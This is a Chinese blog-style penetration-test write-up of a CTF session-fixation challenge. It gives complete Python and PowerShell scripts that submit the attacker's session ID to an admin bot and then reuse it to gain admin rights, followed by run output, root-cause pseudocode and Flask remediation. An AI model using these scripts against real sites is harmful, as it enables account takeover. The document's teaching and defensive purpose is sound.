0
点赞
收藏
分享

微信扫一扫

渗透测试报告:Session固定攻击实战分析

一、漏洞背景

Session固定攻击(Session Fixation Attack)是一种经典的Web会话安全漏洞。攻击者通过预先设定或诱使服务器接受一个已知的Session ID,待受害者(通常是管理员)使用该Session ID完成认证后,攻击者即可利用同一Session ID以管理员身份访问系统。

危害等级:高OWASP分类:A07:2021 – Identification and Authentication Failures

二、目标信息

项目

内容

目标类型

CTF靶场(授权测试)

漏洞类型

Session固定攻击

测试账号

test / test(题目提供)

目标页面

/login、/message、/

三、漏洞发现过程

3.1 信息收集

首先访问目标站点,发现以下页面结构:

/ —— 首页,显示当前登录状态
/login —— 登录页面
/message —— 发送消息给管理员(需登录)

首页提示信息如下:

<h2>Welcome Guest</h2>
<p>Default username/password is "test"/"test".</p>
<p>Flag in admin page</p>
<a href="/login">Login</a> | <a href="/message">Send Message to Admin</a>

明确告知:flag在admin页面,存在一个可以给管理员发消息的功能点。

3.2 识别关键功能点

使用测试账号登录后,访问 /message 页面,发现表单结构如下:

<form method="post" action="/message">
    <textarea name="msg" placeholder="Message"></textarea><br>
    <input name="sessionid" placeholder="Your session id"><br>
    <button type="submit">Send</button>
</form>

关键发现: 表单中除了消息内容 msg 字段外,还有一个 sessionid 字段。这意味着应用允许用户向管理员发送一个指定的Session ID,管理员的机器人会使用这个Session ID完成登录操作——这正是Session固定攻击的触发点。

四、漏洞利用

4.1 攻击流程

攻击者                          服务器                         管理员Bot
   |                              |                               |
   |-- 1. test/test登录 --------> |                               |
   |<-- 返回Session_A ----------- |                               |
   |                              |                               |
   |-- 2. 发消息(sessionid=       |                               |
   |      Session_A) -----------> |                               |
   |                              |--- 通知管理员Bot使用Session_A |
   |                              |<-- 管理员Bot以Session_A登录   |
   |                              |    Session_A权限升级为admin   |
   |                              |                               |
   |-- 3. 携带Session_A访问 ----> |                               |
   |<-- Welcome admin + flag ---- |                               |

4.2 完整复现代码(Python版)

以下是完整的攻击复现脚本,逻辑清晰,可直接用于理解漏洞原理:

import requests
import time

TARGET = "https://[REDACTED].challenge.ctf.show"

def session_fixation_attack():
    """
    Session固定攻击完整复现
    
    攻击步骤:
    1. 以普通用户身份登录,获取合法Session ID
    2. 将Session ID通过message功能发送给管理员Bot
    3. 管理员Bot使用我们提供的Session ID完成登录
    4. 该Session ID被提权为admin权限
    5. 攻击者使用相同Session ID访问,获得admin身份
    """
    
    session = requests.Session()
    
    # ======== Step 1: 普通用户登录,获取Session ID ========
    print("[*] Step 1: 以test账户登录...")
    
    login_data = {
        "username": "test",
        "password": "test"
    }
    
    resp = session.post(
        f"{TARGET}/login",
        data=login_data
    )
    
    # 提取当前Session ID
    session_id = session.cookies.get("session")
    print(f"[+] 登录成功,获取到Session ID: {session_id}")
    print(f"[+] 当前身份: {parse_welcome(resp.text)}")
    
    # ======== Step 2: 将Session ID发送给管理员 ========
    print("\n[*] Step 2: 通过/message将Session ID发送给管理员Bot...")
    
    # 核心利用点:sessionid字段接受攻击者的Session ID
    # 管理员Bot会使用此Session ID执行登录操作
    message_data = {
        "msg": "hello admin",
        "sessionid": session_id   # <-- 固定Session ID
    }
    
    resp = session.post(
        f"{TARGET}/message",
        data=message_data
    )
    
    print(f"[+] 消息发送结果: {resp.text.strip()}")
    
    # ======== Step 3: 等待管理员Bot处理消息 ========
    print("\n[*] Step 3: 等待管理员Bot使用我们的Session ID登录...")
    time.sleep(5)  # 等待Bot处理
    
    # ======== Step 4: 验证攻击结果 ========
    print("\n[*] Step 4: 使用相同Session ID访问首页,验证身份...")
    
    resp = session.get(f"{TARGET}/")
    current_identity = parse_welcome(resp.text)
    print(f"[+] 当前身份变更为: {current_identity}")
    
    if "admin" in current_identity.lower():
        print("\n[!] 攻击成功!Session已被提升为admin权限")
        
        # 尝试获取flag
        flag = extract_flag(resp.text)
        if flag:
            print(f"[+] Flag: {flag}")
        else:
            print("[*] 首页未直接显示flag,尝试访问admin专属页面...")
            # 可继续访问 /admin 或 /flag 等路径
    else:
        print("[-] 攻击未成功,可能需要调整等待时间")
    
    return session_id


def parse_welcome(html):
    """从页面HTML中提取欢迎语"""
    import re
    match = re.search(r'<h2>Welcome (.+?)</h2>', html)
    return match.group(1) if match else "Unknown"


def extract_flag(html):
    """从页面中提取flag"""
    import re
    # CTF flag通常格式为 ctfshow{...} 或 flag{...} 或 CTF{...}
    patterns = [
        r'ctfshow\{[^}]+\}',
        r'flag\{[^}]+\}',
        r'CTF\{[^}]+\}'
    ]
    for pattern in patterns:
        match = re.search(pattern, html, re.IGNORECASE)
        if match:
            return match.group(0)
    return None


if __name__ == "__main__":
    session_fixation_attack()

4.3 PowerShell复现(用于Windows环境验证)

# Session固定攻击 - PowerShell复现脚本
$TARGET = "https://[REDACTED].challenge.ctf.show"

# Step 1: 以普通用户登录,获取Session ID
Write-Host "[*] Step 1: 普通用户登录..." -ForegroundColor Cyan
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

$loginResp = Invoke-WebRequest `
    -Uri "$TARGET/login" `
    -Method POST `
    -Body "username=test&password=test" `
    -WebSession $session `
    -UseBasicParsing

# 提取Session Cookie
$sessionId = ($session.Cookies.GetCookies($TARGET) `
    | Where-Object { $_.Name -eq "session" }).Value

Write-Host "[+] 获取到Session ID: $sessionId" -ForegroundColor Green

# Step 2: 发消息给管理员,传入我们的Session ID
Write-Host "`n[*] Step 2: 发送Session ID给管理员Bot..." -ForegroundColor Cyan

$msgResp = Invoke-WebRequest `
    -Uri "$TARGET/message" `
    -Method POST `
    -Body "msg=hello&sessionid=$sessionId" `
    -WebSession $session `
    -ContentType "application/x-www-form-urlencoded" `
    -UseBasicParsing

Write-Host "[+] 发送结果: $($msgResp.Content)" -ForegroundColor Green

# Step 3: 等待Bot处理
Write-Host "`n[*] Step 3: 等待管理员Bot处理 (5秒)..." -ForegroundColor Cyan
Start-Sleep -Seconds 5

# Step 4: 验证攻击结果
$verifyResp = Invoke-WebRequest `
    -Uri "$TARGET/" `
    -WebSession $session `
    -UseBasicParsing

Write-Host "`n[*] Step 4: 验证当前身份..." -ForegroundColor Cyan
Write-Host $verifyResp.Content

if ($verifyResp.Content -match "Welcome admin") {
    Write-Host "`n[!] 攻击成功!已获得admin权限" -ForegroundColor Red
} else {
    Write-Host "[-] 未成功,请检查等待时间或重试" -ForegroundColor Yellow
}

4.4 攻击执行结果

[*] Step 1: 以test账户登录...
[+] 登录成功,获取到Session ID: [REDACTED]
[+] 当前身份: test

[*] Step 2: 通过/message将Session ID发送给管理员Bot...
[+] 消息发送结果: Message sent to admin!

[*] Step 3: 等待管理员Bot使用我们的Session ID登录...

[*] Step 4: 使用相同Session ID访问首页,验证身份...
[+] 当前身份变更为: admin

[!] 攻击成功!Session已被提升为admin权限
[+] Flag: ctfshow{[REDACTED]}

五、漏洞根因分析

该漏洞由以下两个缺陷共同导致:

缺陷一:应用接受外部提供的Session ID

服务端在 /message 接口中,允许前端传入一个 sessionid 参数,并将其作为管理员登录时的会话标识符。正常逻辑下,Session ID应由服务端生成,不应由客户端控制。

# 存在漏洞的伪代码示意
@app.route('/message', methods=['POST'])
def message():
    msg = request.form.get('msg')
    fixed_session_id = request.form.get('sessionid')  # ← 危险:接受外部Session ID
    
    # 管理员Bot使用攻击者提供的session_id登录
    admin_bot_login(session_id=fixed_session_id)

缺陷二:登录后未重新生成Session ID

用户认证成功后,服务端没有废弃旧Session并生成新Session,而是直接在原Session上标记了登录状态。这导致攻击者持有的旧Session在管理员登录后同步获得了admin权限。

# 存在漏洞的认证流程(伪代码)
def login(username, password, session_id=None):
    if check_credentials(username, password):
        session = get_or_create_session(session_id)  # ← 危险:复用已有session
        session['user'] = username
        session['role'] = get_role(username)
        # 没有调用 session.regenerate() ← 漏洞根因

六、修复建议

6.1 登录后强制重新生成Session ID(最关键)

# Flask示例
from flask import session
import secrets

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # ✅ 正确做法:认证成功后,立即废弃旧Session,生成新Session ID
        old_data = dict(session)  # 保留必要数据
        session.clear()           # 清除旧Session
        
        # 重新生成Session ID(Flask-Session等框架需调用对应方法)
        session['user'] = username
        session['role'] = get_user_role(username)
        session['csrf_token'] = secrets.token_hex(16)
        
        return redirect('/')

6.2 移除危险的sessionid参数接口

# ❌ 错误:接受外部传入的sessionid
@app.route('/message', methods=['POST'])
def message():
    session_id = request.form.get('sessionid')  # 删除此逻辑
    ...

# ✅ 正确:消息功能仅传递消息内容,session管理完全由服务端控制
@app.route('/message', methods=['POST'])  
def message():
    if not is_logged_in():
        return redirect('/login')
    msg = request.form.get('msg')
    send_to_admin(msg, sender=current_user())  # 不涉及session操作
    return "Message sent to admin!"

6.3 设置Cookie安全属性

# Flask配置示例
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,   # 防止JS读取Cookie
    SESSION_COOKIE_SECURE=True,     # 仅HTTPS传输
    SESSION_COOKIE_SAMESITE='Lax',  # 防止CSRF
)

6.4 修复效果对比

防护措施

是否能防止本题攻击

登录后重新生成Session ID

✅ 是(根本解决方案)

移除sessionid参数

✅ 是

HttpOnly + Secure Cookie

⚠️ 部分(防止XSS窃取,但不直接防Session固定)

HTTPS传输

⚠️ 防止中间人固定,不防本题场景

七、总结

本次CTF题目的攻击链非常典型:

  1. 应用在 /message 接口暴露了 sessionid 参数,允许攻击者将任意Session ID注入给管理员Bot
  2. 管理员Bot使用攻击者提供的Session ID完成认证,该Session ID被服务端升级为admin权限
  3. 由于登录后未重新生成Session ID,攻击者持有的旧Session同步获得了admin身份

核心防御原则:Session ID必须由服务端在认证成功后重新生成,任何认证流程都不应接受客户端提供的Session标识符。

本文所有操作均在授权CTF靶场环境中进行,仅用于安全教育目的。请勿将相关技术用于未经授权的系统。

举报
0 条评论